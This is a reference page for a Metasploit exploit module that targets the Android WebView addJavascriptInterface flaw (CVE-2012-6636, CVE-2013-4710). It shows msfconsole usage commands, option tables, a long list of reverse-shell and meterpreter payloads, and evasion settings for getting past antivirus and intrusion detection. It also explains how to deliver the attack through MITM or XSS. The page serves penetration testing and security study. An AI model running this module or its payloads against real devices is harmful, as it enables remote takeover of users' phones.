Android Browser and WebView addJavascriptInterface Code Execution - Metasploit
This page contains detailed information about how to use the exploit/android/browser/webview_addjavascriptinterface metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android Browser and WebView addJavascriptInterface Code Execution
Module: exploit/android/browser/webview_addjavascriptinterface
Source code: modules/exploits/android/browser/webview_addjavascriptinterface.rb
Disclosure date: 2012-12-21
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): dalvik, x86, armle, mipsle
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-6636, CVE-2013-4710
This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN webview_addjavascriptinterface
INCLUDE_PATTERN => webview_addjavascriptinterface
msf auxiliary(browser_autopwn2) > exploit
Go back to menu.
Msfconsole Usage
Here is how the android/browser/webview_addjavascriptinterface exploit module looks in the msfconsole:
msf6 > use exploit/android/browser/webview_addjavascriptinterface
[*] Using configured payload android/meterpreter/reverse_tcp
msf6 exploit(android/browser/webview_addjavascriptinterface) > show info
Name: Android Browser and WebView addJavascriptInterface Code Execution
Module: exploit/android/browser/webview_addjavascriptinterface
Platform: Android, Linux
Arch: dalvik, x86, armle, mipsle
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-12-21
Provided by:
jduck <[email protected]>
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a privilege escalation issue in Android < 4.2's
WebView component that arises when untrusted Javascript code is
executed by a WebView that has one or more Interfaces added to it.
The untrusted Javascript code can call into the Java Reflection APIs
exposed by the Interface and execute arbitrary commands. Some
distributions of the Android Browser app have an
addJavascriptInterface call tacked on, and thus are vulnerable to
RCE. The Browser app in the Google APIs 4.1.2 release of Android is
known to be vulnerable. A secondary attack vector involves the
WebViews embedded inside a large number of Android applications. Ad
integrations are perhaps the worst offender here. If you can MITM
the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the
html/js served by this module and get a shell. Note: Adding a .js to
the URL will return plain javascript (no HTML markup).
References:
http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/
https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
http://50.56.33.56/blog/?p=314
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py
https://nvd.nist.gov/vuln/detail/CVE-2012-6636
https://nvd.nist.gov/vuln/detail/CVE-2013-4710
https://www.exploit-db.com/exploits/31519
OSVDB (97520)
Module Options
This is a complete list of options available in the android/browser/webview_addjavascriptinterface exploit:
msf6 exploit(android/browser/webview_addjavascriptinterface) > show options
Module options (exploit/android/browser/webview_addjavascriptinterface):
Name Current Setting Required Description
---- --------------- -------- -----------
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the android/browser/webview_addjavascriptinterface exploit:
msf6 exploit(android/browser/webview_addjavascriptinterface) > show advanced
Module advanced options (exploit/android/browser/webview_addjavascriptinterface):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
CookieExpiration no Cookie expiration in years (blank=expire on exit)
CookieName __ua no The name of the tracking cookie
Custom404 no An external custom 404 URL (Example: http://example.com/404.html)
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AndroidHideAppIcon false no Hide the application icon automatically after launch
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
AndroidWakelock true no Acquire a wakelock before starting the payload
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the android/browser/webview_addjavascriptinterface module can exploit:
msf6 exploit(android/browser/webview_addjavascriptinterface) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the android/browser/webview_addjavascriptinterface exploit:
msf6 exploit(android/browser/webview_addjavascriptinterface) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/android/meterpreter/reverse_http normal No Android Meterpreter, Android Reverse HTTP Stager
1 payload/android/meterpreter/reverse_https normal No Android Meterpreter, Android Reverse HTTPS Stager
2 payload/android/meterpreter/reverse_tcp normal No Android Meterpreter, Android Reverse TCP Stager
3 payload/android/meterpreter_reverse_http normal No Android Meterpreter Shell, Reverse HTTP Inline
4 payload/android/meterpreter_reverse_https normal No Android Meterpreter Shell, Reverse HTTPS Inline
5 payload/android/meterpreter_reverse_tcp normal No Android Meterpreter Shell, Reverse TCP Inline
6 payload/android/shell/reverse_http normal No Command Shell, Android Reverse HTTP Stager
7 payload/android/shell/reverse_https normal No Command Shell, Android Reverse HTTPS Stager
8 payload/android/shell/reverse_tcp normal No Command Shell, Android Reverse TCP Stager
9 payload/generic/custom normal No Custom Payload
10 payload/generic/debug_trap normal No Generic x86 Debug Trap
11 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
12 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
13 payload/generic/tight_loop normal No Generic x86 Tight Loop
14 payload/linux/armle/exec normal No Linux Execute Command
15 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
16 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
17 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
18 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
19 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
20 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
21 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
22 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
23 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
24 payload/linux/mipsle/exec normal No Linux Execute Command
25 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
26 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
27 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
28 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
29 payload/linux/mipsle/reboot normal No Linux Reboot
30 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
32 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
33 payload/linux/x86/chmod normal No Linux Chmod
34 payload/linux/x86/exec normal No Linux Execute Command
35 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
38 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
39 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
41 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
42 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
43 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
44 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
45 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
46 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
47 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
48 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
49 payload/linux/x86/read_file normal No Linux Read File
50 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
51 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
52 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
53 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
54 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
55 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
56 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
57 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
58 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
59 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
60 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
61 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
62 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
63 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the android/browser/webview_addjavascriptinterface exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(android/browser/webview_addjavascriptinterface) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No vulnerable Java objects were found in this web context.
Here is a relevant code snippet related to the "No vulnerable Java objects were found in this web context." error message:
73: 'DefaultTarget' => 0,
74: 'BrowserRequirements' => {
75: :source => 'script',
76: :os_name => OperatingSystems::Match::ANDROID,
77: :vuln_test => VULN_CHECK_JS,
78: :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
79: }
80: ))
81:
82: deregister_options('JsObfuscate')
83: end
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6422 Merged Pull Request: Add support for native target in Android webview exploit
- #5142 Merged Pull Request: Add missing Rank
- #3934 Merged Pull Request: Adds a :vuln_test option to BES, use it in the Android Webview Exploit
- #3844 Merged Pull Request: Add the JSObfu mixin to Firefox exploits
- #3452 Merged Pull Request: Fix regression in webview exploit.
- #3418 Merged Pull Request: CVE-2014-0514 Adobe Reader for Android addJavascriptInterface PDF fileformat exploit
References
- http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/
- https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
- http://50.56.33.56/blog/?p=314
- https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
- https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py
- CVE-2012-6636
- CVE-2013-4710
- EDB-31519
- OSVDB (97520)
See Also
Check also the following modules related to this module:
- exploit/android/browser/samsung_knox_smdm_url
- exploit/android/browser/stagefright_mp4_tx3g_64bit
- exploit/windows/browser/ms06_057_webview_setslice
- auxiliary/gather/android_object_tag_webview_uxss
Authors
- jduck
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.